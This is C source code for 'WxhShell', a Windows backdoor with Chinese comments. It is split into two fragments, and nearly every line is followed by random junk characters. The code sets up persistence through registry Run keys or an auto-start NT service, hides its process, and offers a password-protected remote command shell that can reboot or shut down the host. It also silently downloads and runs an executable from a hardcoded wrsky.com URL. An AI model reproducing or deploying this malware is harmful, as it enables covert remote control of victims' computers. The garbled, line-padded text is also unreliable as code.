DWORD PebBaseAddress; \O7J=6fn
DWORD AffinityMask; XV'fW~j\
DWORD BasePriority; yW.COWL=)
ULONG UniqueProcessId; Q&M'=+T
ULONG InheritedFromUniqueProcessId; /9Ilo\MdD
} PROCESS_BASIC_INFORMATION; J`#`fX
4B?!THjk
PROCNTQSIP NtQueryInformationProcess; *T4<&
NfE.N&vI_c
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; D*vm
cSf
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Pj7gGf6v
;5<-)
HANDLE hProcess; tLcEl'Eo
PROCESS_BASIC_INFORMATION pbi; !5x
Ly6=}
S)%_we LW7
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ad!(z[F'Y
if(NULL == hInst ) return 0; Y(GN4@`S
|xr32gs
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); i9UI,b%X
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ' eO/PnYW
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); CsS p=(
-cNx1et
if (!NtQueryInformationProcess) return 0; gY`Nr!O
U '[?9/T
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); !;>(ie\
if(!hProcess) return 0; {aN(d3c
)%du@a8
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; #1$}S=8*f
ykq'g|
CloseHandle(hProcess); .V%*{eHLL
>kdM:MK
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); OR+A_:c.D
if(hProcess==NULL) return 0; C]`eH*z~8
/hdf{4
HMODULE hMod; 4FA|[An
char procName[255]; SZVV40w
unsigned long cbNeeded; "E*8h/4u
}sMW3'V
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); i#,1iVSG
Q2C)tVK+
CloseHandle(hProcess); 0^]t"z5f0
w1B<0'#
if(strstr(procName,"services")) return 1; // 以服务启动 FsCwF&/q
~uPk
return 0; // 注册表启动 > zL|8f
} 7unA"9=[4V
\iMyo
// 主模块 E!aq?`-'!
int StartWxhshell(LPSTR lpCmdLine) F(CRq`
{ xaXV^ZM3
SOCKET wsl; MWq$AK]
BOOL val=TRUE; Vdvx"s[`m
int port=0; w)S; J,Hv
struct sockaddr_in door; /BzA(Ic/
&]nd!N
if(wscfg.ws_autoins) Install(); oA3d^%(c
GhnE>d;i
port=atoi(lpCmdLine); \;
bWh
KCXw n
if(port<=0) port=wscfg.ws_port; R!{7OkC
f]}}yBte`
WSADATA data; ' yNPhI
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 5fHYc0
<`JG>H*B6
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; hU,$|_WDy
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 4]UT+'RubX
door.sin_family = AF_INET; *5wv%-
door.sin_addr.s_addr = inet_addr("127.0.0.1"); 3c 28!3p
door.sin_port = htons(port); U5rxt^
0]a1 5
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { u~71l)LA
closesocket(wsl); 'P/taEi=R
return 1; tL8't]M,
} g)M#{"H
w2)/mSnu
if(listen(wsl,2) == INVALID_SOCKET) { 5X;?I/9
closesocket(wsl); DyI2Ye
return 1; $DV-Ieb
} fH!=Zb_{8
Wxhshell(wsl); a R#Cot
WSACleanup(); Ck(.N
v,\93mNp[
return 0; SY6r 8RK
J%4HNW*p
} 70<K.T<b
b@-)Fy4d2
// 以NT服务方式启动 P`!Ak@N
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 9`&77+|;e
{ t/Z!O
z6ZE
DWORD status = 0; P7 8uq
DWORD specificError = 0xfffffff; "4[<]pq
A}eOR=E
serviceStatus.dwServiceType = SERVICE_WIN32; ocP*\NR
serviceStatus.dwCurrentState = SERVICE_START_PENDING; ~}%&p&
p
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; L` [F~$|
serviceStatus.dwWin32ExitCode = 0; *'^:S#=
serviceStatus.dwServiceSpecificExitCode = 0; 7S2c|U4IM
serviceStatus.dwCheckPoint = 0; N K"%DU<
serviceStatus.dwWaitHint = 0; !'PlDGD
QAXYrRu
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 7+S44)w}~
if (hServiceStatusHandle==0) return; Lnx2xoNk
2^bgC~2C1
status = GetLastError(); ./!KE"!
if (status!=NO_ERROR) ^=#!D[xj>
{ q/J3cXa{K
serviceStatus.dwCurrentState = SERVICE_STOPPED; (v|`LmV
serviceStatus.dwCheckPoint = 0; f}-v
serviceStatus.dwWaitHint = 0; 7X:hIl
serviceStatus.dwWin32ExitCode = status; ,A?v,Fs>O[
serviceStatus.dwServiceSpecificExitCode = specificError; 7n>|D^
SetServiceStatus(hServiceStatusHandle, &serviceStatus); Gavkil
return; .ftUhg
} J<-Fua^
WV~SL/k|
serviceStatus.dwCurrentState = SERVICE_RUNNING; HtS#_y%(
serviceStatus.dwCheckPoint = 0; 4i96UvkZ
serviceStatus.dwWaitHint = 0; q]?+By-0
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); [R$liN99z;
} &0h=4i=6r
j5A\y^Kv
// 处理NT服务事件,比如:启动、停止 "D!Dr1
VOID WINAPI NTServiceHandler(DWORD fdwControl) lzI/\%
{ "
xxXZGUp
switch(fdwControl) 4=
$!_,.
{ jM;d>Gymx
case SERVICE_CONTROL_STOP: -sD:+Te
serviceStatus.dwWin32ExitCode = 0; Z0z)
serviceStatus.dwCurrentState = SERVICE_STOPPED; L]a|vp
serviceStatus.dwCheckPoint = 0; %SFw~%@3&~
serviceStatus.dwWaitHint = 0; y(ldO;.
{ e7wKjt2fy
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6z`8cI+LRw
} ]d~MEa9Y|
return; 7Fc |
case SERVICE_CONTROL_PAUSE: wtUG^hV #_
serviceStatus.dwCurrentState = SERVICE_PAUSED; QJ6f
EV$~
break; =/f74s
t
case SERVICE_CONTROL_CONTINUE: MSFNw
serviceStatus.dwCurrentState = SERVICE_RUNNING; /^8t'Jjd,
break; 0Mq6yu^
case SERVICE_CONTROL_INTERROGATE: hAYQ6g$A
break; &,Uc>L%m
}; RDJ82{
SetServiceStatus(hServiceStatusHandle, &serviceStatus); np&HEh 6
} fV v$K&
6.vNe
// 标准应用程序主函数 {bxhH)a'
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) UFJEs[?+Te
{ _4g}kL02.
hkLw&;WJr
// 获取操作系统版本 6l=M;B7:i
OsIsNt=GetOsVer(); 1gL8$.B?
GetModuleFileName(NULL,ExeFile,MAX_PATH); vatx+)
lTd+{TF.
// 从命令行安装 CVi<~7Am\
if(strpbrk(lpCmdLine,"iI")) Install(); 79y'Ja+`j
I *1#
// 下载执行文件 wN$uX#W|
if(wscfg.ws_downexe) { ~V|KT}H
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 1.xw'i
WinExec(wscfg.ws_filenam,SW_HIDE); ~91uk3ST?
} ;9
R40qi
Rf&^th}TH
if(!OsIsNt) { baA HP"
// 如果时win9x,隐藏进程并且设置为注册表启动 mn,=V[f
HideProc(); #`2GAM];7
StartWxhshell(lpCmdLine); WodF -bE
} l,ZzB,"
else X6n|Xq3k
if(StartFromService()) s;~J2h[
// 以服务方式启动 !Q\X)C
StartServiceCtrlDispatcher(DispatchTable); 6k@[O@)
else YL_!#<k@
// 普通方式启动 T9,lblUQ
StartWxhshell(lpCmdLine); G`&'Bt{Z*
NN?Bi=&9
return 0; E]D4']
} #{.pQi})
=#J9
Q2??Kp]1
<$Xn:B<H
=========================================== i,\t]EJAU
>!CH7wX
mOgx&ns;j
N}e(.
<PH3gyC
Yf%[6Y{
" 2-/YYe;C
}d$vcEI$3
#include <stdio.h> (2&K(1.Y
#include <string.h> $=QNGC2+
#include <windows.h> jCdZ}M($
#include <winsock2.h>
9QO!vx
#include <winsvc.h> a?f5(qW3
#include <urlmon.h> B]CS2LEqh
o%QhV6(F
#pragma comment (lib, "Ws2_32.lib") ,5%aP%
#pragma comment (lib, "urlmon.lib") V1AEjh
4{1c7g
#define MAX_USER 100 // 最大客户端连接数 GZ-n!
^
#define BUF_SOCK 200 // sock buffer aa'0EU:
#define KEY_BUFF 255 // 输入 buffer :X]lXock0
9.]Cy8
#define REBOOT 0 // 重启 ZnxOa
#define SHUTDOWN 1 // 关机 .'+|>6eU
\3
O-}n1S
#define DEF_PORT 5000 // 监听端口 AF07KA#
Qt)7mf
#define REG_LEN 16 // 注册表键长度 t~udfOvY
#define SVC_LEN 80 // NT服务名长度 H znI R
qugPs(uQ
// 从dll定义API -bIpmp?
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); f^>lObvd
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); UwzE'#Q-
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); c9/
'i
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); =[O<.'aG-
FeincZ!M
// wxhshell配置信息 "fX8xZdS
struct WSCFG { g@N=N
int ws_port; // 监听端口 mw%[qeLV
char ws_passstr[REG_LEN]; // 口令
~gcst;
int ws_autoins; // 安装标记, 1=yes 0=no Qg86XU%l
char ws_regname[REG_LEN]; // 注册表键名 ;Ln7_
char ws_svcname[REG_LEN]; // 服务名 8*Nt&`@
char ws_svcdisp[SVC_LEN]; // 服务显示名 gs<qi'B
char ws_svcdesc[SVC_LEN]; // 服务描述信息 C'xU=OnA8
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Mf,Mcvs
int ws_downexe; // 下载执行标记, 1=yes 0=no h1D~AgZOVj
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" *]DJAF]
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 XJV3oj
2Q;Y@%G
}; Bwi[qw
(urfaZ;@+
// default Wxhshell configuration Vtc)/OH
struct WSCFG wscfg={DEF_PORT, eo}S01bt
"xuhuanlingzhe", Q?I"J$]&L
1, S|Ij q3
"Wxhshell", NUO,"Bqq
"Wxhshell", FcbA)7dD
"WxhShell Service", Cvu8X&y
"Wrsky Windows CmdShell Service", U3dR[*
"Please Input Your Password: ", ^FyvaO
1, [b\lcQ8O
"http://www.wrsky.com/wxhshell.exe", hr
6LB&d_
"Wxhshell.exe" bx%hizb
}; `U?H^,FVA
LQ&d|giA
// 消息定义模块 %V" +}Dr
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; h-)A?%Xt
char *msg_ws_prompt="\n\r? for help\n\r#>"; J 6d n~nPK
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; @a7(*<".
char *msg_ws_ext="\n\rExit."; K:Xrfn{s
char *msg_ws_end="\n\rQuit."; l%)=s~6z
char *msg_ws_boot="\n\rReboot..."; Qe=Q8cT
char *msg_ws_poff="\n\rShutdown..."; O( sFs1
char *msg_ws_down="\n\rSave to "; 1x<rh\oo
VHY<(4@
char *msg_ws_err="\n\rErr!"; vGMOXbq4&
char *msg_ws_ok="\n\rOK!"; lCs8`bYU
."#jN><t
char ExeFile[MAX_PATH]; h0EGhJs
int nUser = 0; `peJ s~V
HANDLE handles[MAX_USER]; IUBps0.T\
int OsIsNt; r~BQy'
a[{QlD^D
SERVICE_STATUS serviceStatus; ?p/kuv{\o#
SERVICE_STATUS_HANDLE hServiceStatusHandle; |@n{tog+-
[HZCnO|N
// 函数声明 :Pp;{=J
int Install(void); (nP*
int Uninstall(void); J\8l%4q3
int DownloadFile(char *sURL, SOCKET wsh); N<i Vs
int Boot(int flag); VRN9 yn2
void HideProc(void); 7=ga_2
int GetOsVer(void); T`2fPxM:cZ
int Wxhshell(SOCKET wsl); PXQ9P<m
void TalkWithClient(void *cs); uB)6\fkTB
int CmdShell(SOCKET sock); .f!eRV.&
int StartFromService(void); y<LwrrJ>
int StartWxhshell(LPSTR lpCmdLine); bz,cfc;?$
}_D5, k
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Iy 8E$B;
VOID WINAPI NTServiceHandler( DWORD fdwControl ); b-=[(]_$h
0 VgnN
// 数据结构和表定义 z E7ocul
SERVICE_TABLE_ENTRY DispatchTable[] = +cOI`4`$
{ ~ !+h"%'t
{wscfg.ws_svcname, NTServiceMain}, 'C?f"P:X{
{NULL, NULL} 01d26`G$i~
}; "=RoI
mUY:S
|
// 自我安装 ,Vn]Ft?n
int Install(void) "5DAGMU
{ ]j#$. $q
char svExeFile[MAX_PATH]; 71m-W#zyA
HKEY key; !Z2n;.w
strcpy(svExeFile,ExeFile); V6!73 iY
~q%9zO'
// 如果是win9x系统,修改注册表设为自启动 #RIfR7`T
if(!OsIsNt) { <{).x6
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Z*Hxrw\!0
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); /gy:#-2Gy
RegCloseKey(key); c(=O`%B{
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { >wm$,%zk
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); u~T$F/]k>
RegCloseKey(key); H;!hp0y
return 0; f*&JfP
} Fea\ eB
} Jn[ K0GV
} $5AtI$TV_!
else { <T% hfW
<`p'6n79
// 如果是NT以上系统,安装为系统服务 =gv/9ce)3
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); cj_?*
if (schSCManager!=0) *A9{H>Vq
{ +Y^F>/ 4=Y
SC_HANDLE schService = CreateService ^znv[
( "RX5] eJc\
schSCManager, iOXP\:mPo
wscfg.ws_svcname, $ u.T1v
wscfg.ws_svcdisp, oK1[_ko|
SERVICE_ALL_ACCESS, c]0
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , iiDk k
SERVICE_AUTO_START, !eoec2h#5
SERVICE_ERROR_NORMAL, v#2qwd3x
svExeFile, (_5+`YsV
NULL, !3v"7l{LF
NULL, d<m>H$\Dm
NULL, tU2;Wb!Y
NULL, F"TI9ib
NULL zLK
~i>aW
); ~\IDg/9Cj
if (schService!=0) aC]l({-0
{ ")gCA:1-
CloseServiceHandle(schService); d7zE8)D U7
CloseServiceHandle(schSCManager); <%f%e4
[
strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); &Gwh<%=U
strcat(svExeFile,wscfg.ws_svcname); Y9ce"*b
if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { sO-R+G/^7
RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 3n)iTSU3
RegCloseKey(key); E1v<-UPbA
return 0; =w?cp}HW
} g]Ny?61
} 3VBV_/i;
CloseServiceHandle(schSCManager); H#`?toS
} htSk2N/
} #_|^C(]!
k<hO9;#qpL
return 1; I~6 ;9TlQ
} d>-EtWd
z2zp c^i
// 自我卸载 | N,nt@~
int Uninstall(void) kYa'
] m
{ HliY
HKEY key; G7JZP T
L%s""nP
if(!OsIsNt) { 3A1kH` X^q
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Mxp4 YQl
RegDeleteValue(key,wscfg.ws_regname); x G"p.
RegCloseKey(key); NdQ?3'WJ
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ]F-6KeBc
RegDeleteValue(key,wscfg.ws_regname); 9'aR-tFun;
RegCloseKey(key); }}2hI`
return 0; \$UU/\
} },ZL8l{
} TrAUu`?#
} qz2d'OhmtH
else { TI&J>/z;$
e%>E| 9*u
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); rt;>pQ9,
if (schSCManager!=0) (ajX;/
{ /bk} J:QRg
SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); NFPkK?+
if (schService!=0) HWZ*Htr
{ 7si.]
if(DeleteService(schService)!=0) { []^>QsS(X
CloseServiceHandle(schService); (o=iX,@'2
CloseServiceHandle(schSCManager); Q{kuB+s
return 0; Y[,C1,
} *~X\c Z
CloseServiceHandle(schService); Ob+c*@KiW
} YI+|6s[
CloseServiceHandle(schSCManager); 7w({ GZ
} (<-0UR]%q;
} {,srj['RS
KWMH|sxO=
return 1; ^jA^~h3(W
} PxY"{-iAM
z [{%.kA
// 从指定url下载文件 @@&;gWr;
int DownloadFile(char *sURL, SOCKET wsh) $6Psq=|
{ i:To8kdO
HRESULT hr; `Y9@ ?s Q
char seps[]= "/"; D=]P9XDvb.
char *token; |.yRo_
char *file; 2US8<sq+
char myURL[MAX_PATH]; 7T78S&g
char myFILE[MAX_PATH]; ^ 2tCDm5
]~,'[gWb
strcpy(myURL,sURL); n$iz
token=strtok(myURL,seps); ;pq4El_
while(token!=NULL) v\u+=}rl
{ 07&S^ X^/
file=token; Pr'py
token=strtok(NULL,seps); 35et+9
} C%h_!z":
_uacpN/<|
GetCurrentDirectory(MAX_PATH,myFILE); @ZZ Lh=
strcat(myFILE, "\\"); sj2+|>
strcat(myFILE, file); u/WkqJvw#
send(wsh,myFILE,strlen(myFILE),0); 6A<aelE*i
send(wsh,"...",3,0); Zs)9OJu
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); +q!6zGs.
if(hr==S_OK) B{<6&bQ
return 0; 14O/R3+
else Rlu;l
return 1; s RB8 jY
i=rW{0c%
} 6iOAYA=
n&lLC